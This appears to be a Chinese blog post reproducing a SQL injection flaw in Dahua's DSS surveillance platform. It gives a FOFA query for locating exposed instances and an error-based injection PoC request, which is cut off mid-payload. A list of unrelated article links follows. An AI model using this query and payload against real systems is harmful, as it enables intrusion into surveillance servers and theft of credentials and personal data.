当前位置: 首页 > news >正文

大华 DSS 数字监控系统 attachment_getAttList.action SQL 注入漏洞复现

0x01 产品简介

大华 DSS 数字监控系统是大华开发的一款安防视频监控系统,拥有实时监视、云台操作、录像回放、报警处理、设备管理等功能。

0x02 漏洞概述

大华 DSS存在SQL注入漏洞,攻击者 /portal/attachment_getAttList.action 路由发送特殊构造的数据包,利用报错注入获取数据库敏感信息。攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

0x03 复现环境

FOFA:

body="<meta http-equiv=\"refresh\" content=\"1;url='/admin'\"></span>" || body="dahuaDefined/headCommon.js" || title=="DSS"

0x04 漏洞复现 

PoC

GET /portal/attachment_getAttList.action?bean.TabName=1&bean.RecId=1%27)%20AND%20EXTRACTVALUE(88

相关文章:

  • Stable Diffusion 模型下载:Schematics(原理图)
  • 父类之王“Object”类和内部类
  • JVM Java虚拟机入门指南
  • Android Studio从零基础到APP上线(3)
  • MySQL 数据库表格创建、数据插入及获取插入的 ID:Python 教程
  • 分享springboot框架的一个开源的本地开发部署教程(若依开源项目开发部署过程分享持续更新二开宝藏项目MySQL数据库版)
  • 树莓派智能自行车灯:亲,小心后方大卡车~
  • 假期2.6
  • Android11+ 如何获得外部存储权限
  • 亚信安慧AntDB领航分布式数据库的突破之路
  • 【doghead】VS2022 win11 安装配置WSL2 以编译linux端的cmake项目并运行2
  • 计算已知经纬度的两点距离(两种方法GeoTools和Haversine公式)
  • 《低功耗方法学》翻译——第八章:低功耗IP设计
  • Python进阶--爬取下载人生格言(基于格言网的Python3爬虫)
  • MySQL原理(五)事务
  • $translatePartialLoader加载失败及解决方式
  • 【附node操作实例】redis简明入门系列—字符串类型
  • 【跃迁之路】【463天】刻意练习系列222(2018.05.14)
  • Cumulo 的 ClojureScript 模块已经成型
  • Docker入门(二) - Dockerfile
  • JS基础之数据类型、对象、原型、原型链、继承
  • JS字符串转数字方法总结
  • Material Design
  • mysql innodb 索引使用指南
  • scala基础语法(二)
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • Vue.js-Day01
  • webgl (原生)基础入门指南【一】
  • 复习Javascript专题(四):js中的深浅拷贝
  • 聊聊springcloud的EurekaClientAutoConfiguration
  • 普通函数和构造函数的区别
  • 前端
  • 如何在 Tornado 中实现 Middleware
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • zabbix3.2监控linux磁盘IO
  • 新年再起“裁员潮”,“钢铁侠”马斯克要一举裁掉SpaceX 600余名员工 ...
  • ​secrets --- 生成管理密码的安全随机数​
  • ###项目技术发展史
  • #FPGA(基础知识)
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (笔试题)合法字符串
  • (附源码)spring boot网络空间安全实验教学示范中心网站 毕业设计 111454
  • (附源码)计算机毕业设计高校学生选课系统
  • (转)JVM内存分配 -Xms128m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=512m
  • (转)setTimeout 和 setInterval 的区别
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • (转)用.Net的File控件上传文件的解决方案
  • .NET Framework与.NET Framework SDK有什么不同?
  • .NET Standard 的管理策略
  • .Net6使用WebSocket与前端进行通信
  • [BZOJ 4129]Haruna’s Breakfast(树上带修改莫队)
  • [C#]OpenCvSharp使用帧差法或者三帧差法检测移动物体
  • [C++] 如何使用Visual Studio 2022 + QT6创建桌面应用
  • [C++基础]-入门知识